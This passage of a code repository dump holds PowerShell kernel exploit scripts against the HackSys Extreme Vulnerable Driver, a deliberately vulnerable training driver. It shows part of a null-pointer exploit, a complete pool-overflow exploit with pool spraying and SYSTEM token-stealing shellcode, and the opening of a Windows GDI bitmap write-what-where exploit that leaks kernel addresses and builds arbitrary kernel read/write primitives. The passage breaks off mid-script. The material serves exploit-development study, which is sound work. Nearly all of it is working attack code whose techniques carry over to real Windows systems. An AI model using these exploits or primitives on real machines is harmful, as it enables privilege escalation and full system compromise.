[ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40) 91 | if ($CallResult -ne 0) { 92 | echo "[!] Failed to allocate null-page..`n" 93 | Return 94 | } else { 95 | echo "[+] Success" 96 | } 97 | echo "[+] Writing shellcode pointer to 0x00000004" 98 | [System.Runtime.InteropServices.Marshal]::Copy($ShellcodePointer, 0, [IntPtr]0x4, $ShellcodePointer.Length) 99 | 100 | # Get handle to driver 101 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 102 | 103 | if ($hDevice -eq -1) { 104 | echo "`n[!] Unable to get driver handle..`n" 105 | Return 106 | } else { 107 | echo "`n[>] Driver information.." 108 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 109 | echo "[+] Handle: $hDevice" 110 | } 111 | 112 | #--- 113 | # To trigger the null-pointer dereference all we need to do 114 | # is pass the compare at HackSysExtremeVulnerableDriver+0x4b61. 115 | # As long as our magic value is not 0xbad0b0b0, we're good! 116 | #--- 117 | $Buffer = [System.BitConverter]::GetBytes(0xdeadb33f) # Whatever value here.. 118 | echo "`n[>] Sending buffer.." 119 | echo "[+] Buffer length: $($Buffer.Length)" 120 | echo "[+] IOCTL: 0x22202B`n" 121 | [EVD]::DeviceIoControl($hDevice, 0x22202B, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null -------------------------------------------------------------------------------- /Kernel_PoolOverflow.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 10 | public static extern IntPtr CreateFile( 11 | String lpFileName, 12 | UInt32 dwDesiredAccess, 13 | UInt32 dwShareMode, 14 | IntPtr lpSecurityAttributes, 15 | UInt32 dwCreationDisposition, 16 | UInt32 dwFlagsAndAttributes, 17 | IntPtr hTemplateFile); 18 | 19 | [DllImport("Kernel32.dll", SetLastError = true)] 20 | public static extern bool DeviceIoControl( 21 | IntPtr hDevice, 22 | int IoControlCode, 23 | byte[] InBuffer, 24 | int nInBufferSize, 25 | byte[] OutBuffer, 26 | int nOutBufferSize, 27 | ref int pBytesReturned, 28 | IntPtr Overlapped); 29 | 30 | [DllImport("kernel32.dll", SetLastError = true)] 31 | public static extern Byte CloseHandle( 32 | IntPtr hObject); 33 | 34 | [DllImport("kernel32.dll", SetLastError = true)] 35 | public static extern int CreateEvent( 36 | IntPtr lpEventAttributes, 37 | Byte bManualReset, 38 | Byte bInitialState, 39 | String lpName); 40 | 41 | [DllImport("kernel32.dll", SetLastError = true)] 42 | public static extern IntPtr VirtualAlloc( 43 | IntPtr lpAddress, 44 | uint dwSize, 45 | UInt32 flAllocationType, 46 | UInt32 flProtect); 47 | 48 | [DllImport("ntdll.dll")] 49 | public static extern uint NtAllocateVirtualMemory( 50 | IntPtr ProcessHandle, 51 | ref IntPtr BaseAddress, 52 | uint ZeroBits, 53 | ref UInt32 AllocationSize, 54 | UInt32 AllocationType, 55 | UInt32 Protect); 56 | } 57 | "@ 58 | 59 | function Event-PoolSpray { 60 | echo "[+] Derandomizing NonPagedPool.." 61 | $Spray = @() 62 | for ($i=0;$i -lt 10000;$i++) { 63 | $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "") 64 | if ($CallResult -ne 0) { 65 | $Spray += $CallResult 66 | } 67 | } 68 | $Script:Event_hArray1 += $Spray 69 | echo "[+] $($Event_hArray1.Length) event objects created!" 70 | 71 | echo "[+] Allocating sequential objects.." 72 | $Spray = @() 73 | for ($i=0;$i -lt 5000;$i++) { 74 | $CallResult = [EVD]::CreateEvent([System.IntPtr]::Zero, 0, 0, "") 75 | if ($CallResult -ne 0) { 76 | $Spray += $CallResult 77 | } 78 | } 79 | $Script:Event_hArray2 += $Spray 80 | echo "[+] $($Event_hArray2.Length) event objects created!" 81 | 82 | echo "[+] Creating non-paged pool holes.." 83 | for ($i=0;$i -lt $($Event_hArray2.Length-500);$i+=16) { 84 | for ($j=0;$j -lt 8;$j++) { 85 | $CallResult = [EVD]::CloseHandle($Event_hArray2[$i+$j]) 86 | if ($CallResult -ne 0) { 87 | $FreeCount += 1 88 | } 89 | } 90 | } 91 | echo "[+] Free'd $FreeCount event objects!" 92 | } 93 | 94 | $hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero) 95 | 96 | if ($hDevice -eq -1) { 97 | echo "`n[!] Unable to get driver handle..`n" 98 | Return 99 | } else { 100 | echo "`n[>] Driver information.." 101 | echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver" 102 | echo "[+] Handle: $hDevice" 103 | } 104 | 105 | # Compiled with Keystone-Engine 106 | # Hardcoded offsets for Win7 x86 SP1 107 | $Shellcode = [Byte[]] @( 108 | #---[Setup] 109 | 0x60, # pushad 110 | 0x64, 0xA1, 0x24, 0x01, 0x00, 0x00, # mov eax, fs:[KTHREAD_OFFSET] 111 | 0x8B, 0x40, 0x50, # mov eax, [eax + EPROCESS_OFFSET] 112 | 0x89, 0xC1, # mov ecx, eax (Current _EPROCESS structure) 113 | 0x8B, 0x98, 0xF8, 0x00, 0x00, 0x00, # mov ebx, [eax + TOKEN_OFFSET] 114 | #---[Copy System PID token] 115 | 0xBA, 0x04, 0x00, 0x00, 0x00, # mov edx, 4 (SYSTEM PID) 116 | 0x8B, 0x80, 0xB8, 0x00, 0x00, 0x00, # mov eax, [eax + FLINK_OFFSET] <-| 117 | 0x2D, 0xB8, 0x00, 0x00, 0x00, # sub eax, FLINK_OFFSET | 118 | 0x39, 0x90, 0xB4, 0x00, 0x00, 0x00, # cmp [eax + PID_OFFSET], edx | 119 | 0x75, 0xED, # jnz ->| 120 | 0x8B, 0x90, 0xF8, 0x00, 0x00, 0x00, # mov edx, [eax + TOKEN_OFFSET] 121 | 0x89, 0x91, 0xF8, 0x00, 0x00, 0x00, # mov [ecx + TOKEN_OFFSET], edx 122 | #---[Recover] 123 | 0x61, # popad 124 | 0xC2, 0x10, 0x00 # ret 16 125 | ) 126 | 127 | # Write shellcode to memory 128 | echo "`n[>] Allocating ring0 payload.." 129 | [IntPtr]$Pointer = [EVD]::VirtualAlloc([System.IntPtr]::Zero, $Shellcode.Length, 0x3000, 0x40) 130 | [System.Runtime.InteropServices.Marshal]::Copy($Shellcode, 0, $Pointer, $Shellcode.Length) 131 | $ShellcodePointer = [System.BitConverter]::GetBytes($Pointer.ToInt32()) 132 | echo "[+] Payload size: $($Shellcode.Length)" 133 | echo "[+] Payload address: 0x$("{0:X8}" -f $Pointer.ToInt32())" 134 | 135 | echo "`n[>] Spraying non-paged kernel pool!" 136 | Event-PoolSpray 137 | 138 | # Allocate null-page 139 | #--- 140 | # NtAllocateVirtualMemory must be used as VirtualAlloc 141 | # will refuse a base address smaller than [IntPtr]0x1000 142 | #--- 143 | echo "`n[>] Allocating process null page.." 144 | [IntPtr]$ProcHandle = (Get-Process -Id ([System.Diagnostics.Process]::GetCurrentProcess().Id)).Handle 145 | [IntPtr]$BaseAddress = 0x1 # Rounded down to 0x00000000 146 | [UInt32]$AllocationSize = 120 # 0x78 147 | $CallResult = [EVD]::NtAllocateVirtualMemory($ProcHandle, [ref]$BaseAddress, 0, [ref]$AllocationSize, 0x3000, 0x40) 148 | if ($CallResult -ne 0) { 149 | echo "[!] Failed to allocate null-page..`n" 150 | Return 151 | } else { 152 | echo "[+] Success" 153 | } 154 | echo "[+] Writing shellcode pointer to 0x00000074" 155 | $NullPage = [Byte[]](0x00)*0x73 + $ShellcodePointer 156 | [System.Runtime.InteropServices.Marshal]::Copy($NullPage, 0, [IntPtr]0x1, $NullPage.Length) 157 | 158 | $PoolHeader = [Byte[]] @( 159 | 0x40, 0x00, 0x08, 0x04, # PrevSize,Size,Index,Type union (0x04080040) 160 | 0x45, 0x76, 0x65, 0xee # PoolTag -> Event (0xee657645) 161 | ) 162 | 163 | $ObjectHeaderQuotaInfo = [Byte[]] @( 164 | 0x00, 0x00, 0x00, 0x00, # PagedPoolCharge 165 | 0x40, 0x00, 0x00, 0x00, # NonPagedPoolCharge (0x40) 166 | 0x00, 0x00, 0x00, 0x00, # SecurityDescriptorCharge 167 | 0x00, 0x00, 0x00, 0x00 # SecurityDescriptorQuotaBlock 168 | ) 169 | 170 | # This header is partial 171 | $ObjectHeader = [Byte[]] @( 172 | 0x01, 0x00, 0x00, 0x00, # PointerCount (0x1) 173 | 0x01, 0x00, 0x00, 0x00, # HandleCount (0x1) 174 | 0x00, 0x00, 0x00, 0x00, # Lock -> _EX_PUSH_LOCK 175 | 0x00, # TypeIndex (Rewrite 0xC -> 0x0) 176 | 0x00, # TraceFlags 177 | 0x08, # InfoMask 178 | 0x00 # Flags 179 | ) 180 | 181 | # HACKSYS_EVD_IOCTL_POOL_OVERFLOW IOCTL = 0x22200F 182 | #--- 183 | $Buffer = [Byte[]](0x41)*0x1f8 + $PoolHeader + $ObjectHeaderQuotaInfo + $ObjectHeader 184 | echo "`n[>] Sending buffer.." 185 | echo "[+] Buffer length: $($Buffer.Length)" 186 | echo "[+] IOCTL: 0x22200F" 187 | [EVD]::DeviceIoControl($hDevice, 0x22200F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null 188 | 189 | echo "`n[>] Freeing pool chunks!`n" 190 | for ($i=0;$i -lt $($Event_hArray2.Length);$i++) { 191 | $CallResult = [EVD]::CloseHandle($Event_hArray2[$i]) 192 | } -------------------------------------------------------------------------------- /Kernel_RS2_WWW_GDI_64.ps1: -------------------------------------------------------------------------------- 1 | Add-Type -TypeDefinition @" 2 | using System; 3 | using System.Diagnostics; 4 | using System.Runtime.InteropServices; 5 | using System.Security.Principal; 6 | 7 | public static class EVD 8 | { 9 | [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)] 10 | public static extern IntPtr CreateFile( 11 | String lpFileName, 12 | UInt32 dwDesiredAccess, 13 | UInt32 dwShareMode, 14 | IntPtr lpSecurityAttributes, 15 | UInt32 dwCreationDisposition, 16 | UInt32 dwFlagsAndAttributes, 17 | IntPtr hTemplateFile); 18 | 19 | [DllImport("Kernel32.dll", SetLastError = true)] 20 | public static extern bool DeviceIoControl( 21 | IntPtr hDevice, 22 | int IoControlCode, 23 | byte[] InBuffer, 24 | int nInBufferSize, 25 | byte[] OutBuffer, 26 | int nOutBufferSize, 27 | ref int pBytesReturned, 28 | IntPtr Overlapped); 29 | } 30 | "@ 31 | 32 | #==============================================[Helpers] 33 | function Stage-HmValidateHandleBitmap { 34 | <# 35 | .SYNOPSIS 36 | Universal x64 Bitmap leak using HmValidateHandle. 37 | Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2 38 | 39 | Resources: 40 | + Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan 41 | + LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila 42 | 43 | .DESCRIPTION 44 | Author: Ruben Boonen (@FuzzySec) 45 | License: BSD 3-Clause 46 | Required Dependencies: None 47 | Optional Dependencies: None 48 | 49 | .EXAMPLE 50 | PS C:\Users\b33f> Stage-HmValidateHandleBitmap |fl 51 | 52 | BitmapKernelObj : -7692235059200 53 | BitmappvScan0 : -7692235059120 54 | BitmapHandle : 1845828432 55 | 56 | PS C:\Users\b33f> $Manager = Stage-HmValidateHandleBitmap 57 | PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj 58 | FFFFF901030FF000 59 | #> 60 | Add-Type -TypeDefinition @" 61 | using System; 62 | using System.Diagnostics; 63 | using System.Runtime.InteropServices; 64 | using System.Security.Principal; 65 | 66 | public class HmValidateHandleBitmap 67 | { 68 | delegate IntPtr WndProc( 69 | IntPtr hWnd, 70 | uint msg, 71 | IntPtr wParam, 72 | IntPtr lParam); 73 | 74 | [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)] 75 | struct WNDCLASS 76 | { 77 | public uint style; 78 | public IntPtr lpfnWndProc; 79 | public int cbClsExtra; 80 | public int cbWndExtra; 81 | public IntPtr hInstance; 82 | public IntPtr hIcon; 83 | public IntPtr hCursor; 84 | public IntPtr hbrBackground; 85 | [MarshalAs(UnmanagedType.LPWStr)] 86 | public string lpszMenuName; 87 | [MarshalAs(UnmanagedType.LPWStr)] 88 | public string lpszClassName; 89 | } 90 | 91 | [DllImport("user32.dll")] 92 | static extern System.UInt16 RegisterClassW( 93 | [In] ref WNDCLASS lpWndClass); 94 | 95 | [DllImport("user32.dll")] 96 | public static extern IntPtr CreateWindowExW( 97 | UInt32 dwExStyle, 98 | [MarshalAs(UnmanagedType.LPWStr)] 99 | string lpClassName, 100 | [MarshalAs(UnmanagedType.LPWStr)] 101 | string lpWindowName, 102 | UInt32 dwStyle, 103 | Int32 x, 104 | Int32 y, 105 | Int32 nWidth, 106 | Int32 nHeight, 107 | IntPtr hWndParent, 108 | IntPtr hMenu, 109 | IntPtr hInstance, 110 | IntPtr lpParam); 111 | 112 | [DllImport("user32.dll")] 113 | static extern System.IntPtr DefWindowProcW( 114 | IntPtr hWnd, 115 | uint msg, 116 | IntPtr wParam, 117 | IntPtr lParam); 118 | 119 | [DllImport("user32.dll")] 120 | public static extern bool DestroyWindow( 121 | IntPtr hWnd); 122 | 123 | [DllImport("user32.dll")] 124 | public static extern bool UnregisterClass( 125 | String lpClassName, 126 | IntPtr hInstance); 127 | 128 | [DllImport("kernel32",CharSet=CharSet.Ansi)] 129 | public static extern IntPtr LoadLibrary( 130 | string lpFileName); 131 | 132 | [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)] 133 | public static extern IntPtr GetProcAddress( 134 | IntPtr hModule, 135 | string procName); 136 | 137 | public delegate IntPtr HMValidateHandle( 138 | IntPtr hObject, 139 | int Type); 140 | 141 | [DllImport("gdi32.dll")] 142 | public static extern IntPtr CreateBitmap( 143 | int nWidth, 144 | int nHeight, 145 | uint cPlanes, 146 | uint cBitsPerPel, 147 | IntPtr lpvBits); 148 | 149 | public UInt16 CustomClass(string class_name, string menu_name) 150 | { 151 | m_wnd_proc_delegate = CustomWndProc; 152 | WNDCLASS wind_class = new WNDCLASS(); 153 | wind_class.lpszClassName = class_name; 154 | wind_class.lpszMenuName = menu_name; 155 | wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate); 156 | return RegisterClassW(ref wind_class); 157 | } 158 | 159 | private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam) 160 | { 161 | return DefWindowProcW(hWnd, msg, wParam, lParam); 162 | } 163 | 164 | private WndProc m_wnd_proc_delegate; 165 | } 166 | "@ 167 | 168 | #------------------[Create/Destroy Window] 169 | # Call nonstatic public method => delegWndProc 170 | $AtomCreate = New-Object HmValidateHandleBitmap 171 | 172 | function Create-WindowObject { 173 | $MenuBuff = "A"*0x8F0 174 | $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff) 175 | [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero) 176 | } 177 | 178 | function Destroy-WindowObject { 179 | param ($Handle) 180 | $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle) 181 | $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero) 182 | } 183 | 184 | #------------------[Cast HMValidateHandle] 185 | function Cast-HMValidateHandle { 186 | $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll") 187 | $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu") 188 | 189 | # Get HMValidateHandle pointer 190 | for ($i=0;$i-lt50;$i++) { 191 | if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) { 192 | $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1) 193 | [IntPtr]$Script:lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset 194 | } 195 | } 196 | 197 | if ($lpHMValidateHandle) { 198 | # Cast IntPtr to delegate 199 | [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle]) 200 | } 201 | } 202 | 203 | #------------------[lpszMenuName Leak] 204 | function Leak-lpszMenuName { 205 | param($WindowHandle) 206 | $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version 207 | $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" 208 | if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) { 209 | $pCLSOffset = 0xa8 210 | $lpszMenuNameOffset = 0x90 211 | } else { 212 | $pCLSOffset = 0x98 213 | $lpszMenuNameOffset = 0x88 214 | } 215 | 216 | # Cast HMValidateHandle & get window desktop heap pointer 217 | $HMValidateHandle = Cast-HMValidateHandle 218 | $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1) 219 | 220 | # Calculate ulClientDelta & leak lpszMenuName 221 | $Script:ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64() 222 | $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset) 223 | [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset) 224 | } 225 | 226 | #------------------[Bitmap Leak] 227 | $KernelArray = @() 228 | for ($i=0;$i -lt 20;$i++) { 229 | $TestWindowHandle = Create-WindowObject 230 | $KernelArray += Leak-lpszMenuName -WindowHandle $TestWindowHandle 231 | if ($KernelArray.Length -gt 1) { 232 | if ($KernelArray[$i] -eq $KernelArray[$i-1]) { 233 | Destroy-WindowObject -Handle $TestWindowHandle 234 | [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4) 235 | $BitmapHandle = [HmValidateHandleBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # +4 kb size 236 | break 237 | } 238 | } 239 | Destroy-WindowObject -Handle $TestWindowHandle 240 | } 241 | 242 | $BitMapObject = @() 243 | $HashTable = @{ 244 | BitmapHandle = $BitmapHandle 245 | BitmapKernelObj = $($KernelArray[$i]) 246 | BitmappvScan0 = $KernelArray[$i] + 0x50 247 | } 248 | $Object = New-Object PSObject -Property $HashTable 249 | $BitMapObject += $Object 250 | $BitMapObject 251 | } 252 | 253 | function Get-LoadedModules { 254 | <# 255 | .SYNOPSIS 256 | Use NtQuerySystemInformation::SystemModuleInformation to get a list of 257 | loaded modules, their base address and size (x32/x64). 258 | 259 | Note: Low integrity only pre 8.1 260 | 261 | .DESCRIPTION 262 | Author: Ruben Boonen (@FuzzySec) 263 | License: BSD 3-Clause 264 | Required Dependencies: None 265 | Optional Dependencies: None 266 | 267 | .EXAMPLE 268 | C:\PS> $Modules = Get-LoadedModules 269 | C:\PS> $KernelBase = $Modules[0].ImageBase 270 | C:\PS> $KernelType = ($Modules[0].ImageName -split "\\")[-1] 271 | C:\PS> ...... 272 | #> 273 | 274 | Add-Type -TypeDefinition @" 275 | using System; 276 | using System.Diagnostics; 277 | using System.Runtime.InteropServices; 278 | using System.Security.Principal; 279 | 280 | [StructLayout(LayoutKind.Sequential, Pack = 1)] 281 | public struct SYSTEM_MODULE_INFORMATION 282 | { 283 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 2)] 284 | public UIntPtr[] Reserved; 285 | public IntPtr ImageBase; 286 | public UInt32 ImageSize; 287 | public UInt32 Flags; 288 | public UInt16 LoadOrderIndex; 289 | public UInt16 InitOrderIndex; 290 | public UInt16 LoadCount; 291 | public UInt16 ModuleNameOffset; 292 | [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] 293 | internal Char[] _ImageName; 294 | public String ImageName { 295 | get { 296 | return new String(_ImageName).Split(new Char[] {'\0'}, 2)[0]; 297 | } 298 | } 299 | } 300 | 301 | public static class Ntdll 302 | { 303 | [DllImport("ntdll.dll")] 304 | public static extern int NtQuerySystemInformation( 305 | int SystemInformationClass, 306 | IntPtr SystemInformation, 307 | int SystemInformationLength, 308 | ref int ReturnLength); 309 | } 310 | "@ 311 | 312 | [int]$BuffPtr_Size = 0 313 | while ($true) { 314 | [IntPtr]$BuffPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($BuffPtr_Size) 315 | $SystemInformationLength = New-Object Int 316 | 317 | # SystemModuleInformation Class = 11 318 | $CallResult = [Ntdll]::NtQuerySystemInformation(11, $BuffPtr, $BuffPtr_Size, [ref]$SystemInformationLength) 319 | 320 | # STATUS_INFO_LENGTH_MISMATCH 321 | if ($CallResult -eq 0xC0000004) { 322 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 323 | [int]$BuffPtr_Size = [System.Math]::Max($BuffPtr_Size,$SystemInformationLength) 324 | } 325 | # STATUS_SUCCESS 326 | elseif ($CallResult -eq 0x00000000) { 327 | break 328 | } 329 | # Probably: 0xC0000005 -> STATUS_ACCESS_VIOLATION 330 | else { 331 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 332 | return 333 | } 334 | } 335 | 336 | $SYSTEM_MODULE_INFORMATION = New-Object SYSTEM_MODULE_INFORMATION 337 | $SYSTEM_MODULE_INFORMATION = $SYSTEM_MODULE_INFORMATION.GetType() 338 | if ([System.IntPtr]::Size -eq 4) { 339 | $SYSTEM_MODULE_INFORMATION_Size = 284 340 | } else { 341 | $SYSTEM_MODULE_INFORMATION_Size = 296 342 | } 343 | 344 | $BuffOffset = $BuffPtr.ToInt64() 345 | $HandleCount = [System.Runtime.InteropServices.Marshal]::ReadInt32($BuffOffset) 346 | $BuffOffset = $BuffOffset + [System.IntPtr]::Size 347 | 348 | $SystemModuleArray = @() 349 | for ($i=0; $i -lt $HandleCount; $i++){ 350 | $SystemPointer = New-Object System.Intptr -ArgumentList $BuffOffset 351 | $Cast = [system.runtime.interopservices.marshal]::PtrToStructure($SystemPointer,[type]$SYSTEM_MODULE_INFORMATION) 352 | 353 | $HashTable = @{ 354 | ImageName = $Cast.ImageName 355 | ImageBase = if ([System.IntPtr]::Size -eq 4) {$($Cast.ImageBase).ToInt32()} else {$($Cast.ImageBase).ToInt64()} 356 | ImageSize = "0x$('{0:X}' -f $Cast.ImageSize)" 357 | } 358 | 359 | $Object = New-Object PSObject -Property $HashTable 360 | $SystemModuleArray += $Object 361 | 362 | $BuffOffset = $BuffOffset + $SYSTEM_MODULE_INFORMATION_Size 363 | } 364 | 365 | $SystemModuleArray 366 | 367 | # Free SystemModuleInformation array 368 | [System.Runtime.InteropServices.Marshal]::FreeHGlobal($BuffPtr) 369 | } 370 | 371 | function Bitmap-Elevate { 372 | param([IntPtr]$ManagerBitmap,[IntPtr]$WorkerBitmap) 373 | 374 | Add-Type -TypeDefinition @" 375 | using System; 376 | using System.Diagnostics; 377 | using System.Runtime.InteropServices; 378 | using System.Security.Principal; 379 | public static class BitmapElevate 380 | { 381 | [DllImport("gdi32.dll")] 382 | public static extern int SetBitmapBits( 383 | IntPtr hbmp, 384 | uint cBytes, 385 | byte[] lpBits); 386 | [DllImport("gdi32.dll")] 387 | public static extern int GetBitmapBits( 388 | IntPtr hbmp, 389 | int cbBuffer, 390 | IntPtr lpvBits); 391 | [DllImport("kernel32.dll", SetLastError = true)] 392 | public static extern IntPtr VirtualAlloc( 393 | IntPtr lpAddress, 394 | uint dwSize, 395 | UInt32 flAllocationType, 396 | UInt32 flProtect); 397 | [DllImport("kernel32.dll", SetLastError=true)] 398 | public static extern bool VirtualFree( 399 | IntPtr lpAddress, 400 | uint dwSize, 401 | uint dwFreeType); 402 | [DllImport("kernel32.dll", SetLastError=true)] 403 | public static extern bool FreeLibrary( 404 | IntPtr hModule); 405 | [DllImport("kernel32", SetLastError=true, CharSet = CharSet.Ansi)] 406 | public static extern IntPtr LoadLibrary( 407 | string lpFileName); 408 | [DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)] 409 | public static extern IntPtr GetProcAddress( 410 | IntPtr hModule, 411 | string procName); 412 | } 413 | "@ 414 | 415 | # Flag architecture $x32Architecture/!$x32Architecture 416 | if ([System.IntPtr]::Size -eq 4) { 417 | $x32Architecture = 1 418 | } 419 | 420 | # Arbitrary Kernel read 421 | function Bitmap-Read { 422 | param ($Address) 423 | $CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) 424 | [IntPtr]$Pointer = [BitmapElevate]::VirtualAlloc([System.IntPtr]::Zero, [System.IntPtr]::Size, 0x3000, 0x40) 425 | $CallResult = [BitmapElevate]::GetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, $Pointer) 426 | if ($x32Architecture){ 427 | [System.Runtime.InteropServices.Marshal]::ReadInt32($Pointer) 428 | } else { 429 | [System.Runtime.InteropServices.Marshal]::ReadInt64($Pointer) 430 | } 431 | $CallResult = [BitmapElevate]::VirtualFree($Pointer, [System.IntPtr]::Size, 0x8000) 432 | } 433 | 434 | # Arbitrary Kernel write 435 | function Bitmap-Write { 436 | param ($Address, $Value) 437 | $CallResult = [BitmapElevate]::SetBitmapBits($ManagerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Address)) 438 | $CallResult = [BitmapElevate]::SetBitmapBits($WorkerBitmap, [System.IntPtr]::Size, [System.BitConverter]::GetBytes($Value)) 439 | } 440 | 441 | $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version 442 | $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)" 443 | switch ($OSMajorMinor) 444 | { 445 | '10.0' # Win10 / 2k16 446 | { 447 | if(!$x32Architecture){ 448 | if($OSVersion.Build -lt 15063){ 449 | $UniqueProcessIdOffset = 0x2e8 450 | $TokenOffset = 0x358 451 | $ActiveProcessLinks = 0x2f0 452 | } else { 453 | $UniqueProcessIdOffset = 0x2e0 454 | $TokenOffset = 0x358 455 | $ActiveProcessLinks = 0x2e8 456 | } 457 | } else { 458 | if($OSVersion.Build -lt 15063){ 459 | $UniqueProcessIdOffset = 0xb4 460 | $TokenOffset = 0xf4 461 | $ActiveProcessLinks = 0xb8 462 | } else { 463 | $UniqueProcessIdOffset = 0xb4 464 | $TokenOffset = 0xfc 465 | $ActiveProcessLinks = 0xb8 466 | } 467 | } 468 | } 469 | 470 | '6.3' # Win8.1 / 2k12R2 471 | { 472 | if(!$x32Architecture){ 473 | $UniqueProcessIdOffset = 0x2e0 474 | $TokenOffset = 0x348 475 | $ActiveProcessLinks = 0x2e8 476 | } else { 477 | $UniqueProcessIdOffset = 0xb4 478 | $TokenOffset = 0xec 479 | $ActiveProcessLinks = 0xb8 480 | } 481 | } 482 | 483 | '6.2' # Win8 / 2k12 484 | { 485 | if(!$x32Architecture){ 486 | $UniqueProcessIdOffset = 0x2e0 487 | $TokenOffset = 0x348 488 | $ActiveProcessLinks = 0x2e8 489 | } else { 490 | $UniqueProcessIdOffset = 0xb4 491 | $TokenOffset = 0xec 492 | $ActiveProcessLinks = 0xb8 493 | } 494 | } 495 | 496 | '6.1' # Win7 / 2k8R2 497 | { 498 | if(!$x32Architecture){ 499 | $UniqueProcessIdOffset = 0x180 500 | $TokenOffset = 0x208 501 | $ActiveProcessLinks = 0x188 502 | } else { 503 | $UniqueProcessIdOffset = 0xb4 504 | $TokenOffset = 0xf8 505 | $ActiveProcessLinks = 0xb8 506 | } 507 | } 508 | } 509 | 510 | # Get EPROCESS entry for System process 511 | echo "`n[>] Leaking SYSTEM _EPROCESS.." 512 | $SystemModuleArray = Get-LoadedModules 513 | $KernelBase = $SystemModuleArray[0].ImageBase 514 | $KernelType = ($SystemModuleArray[0].ImageName -split "\\")[-1] 515 | $KernelHanle = [BitmapElevate]::LoadLibrary("$KernelType") 516 | $PsInitialSystemProcess = [BitmapElevate]::GetProcAddress($KernelHanle, "PsInitialSystemProcess") 517 | $SysEprocessPtr = if (!$x32Architecture) {$PsInitialSystemProcess.ToInt64() - $KernelHanle + $KernelBase} else {$PsInitialSystemProcess.ToInt32() - $KernelHanle + $KernelBase} 518 | $CallResult = [BitmapElevate]::FreeLibrary($KernelHanle) 519 | echo "[+] _EPROCESS list entry: 0x$("{0:X}" -f $SysEprocessPtr)" 520 | $SysEPROCESS = Bitmap-Read -Address $SysEprocessPtr 521 | echo "[+] SYSTEM _EPROCESS address: 0x$("{0:X}" -f $(Bitmap-Read -Address $SysEprocessPtr))" 522 | echo "[+] PID: $(Bitmap-Read -Address $($SysEPROCESS+$UniqueProcessIdOffset))" 523 | echo "[+] SYSTEM Token: 0x$("{0:X}" -f $(Bitmap-Read -Address $($SysEPROCESS+$TokenOffset)))" 524 | $SysToken = Bitmap-Read -Address $($SysEPROCESS+$TokenOffset) 525 | 526 | # Get EPROCESS entry for current process 527 | echo "`n[>] Leaking current _EPROCESS.." 528 | echo "[+] 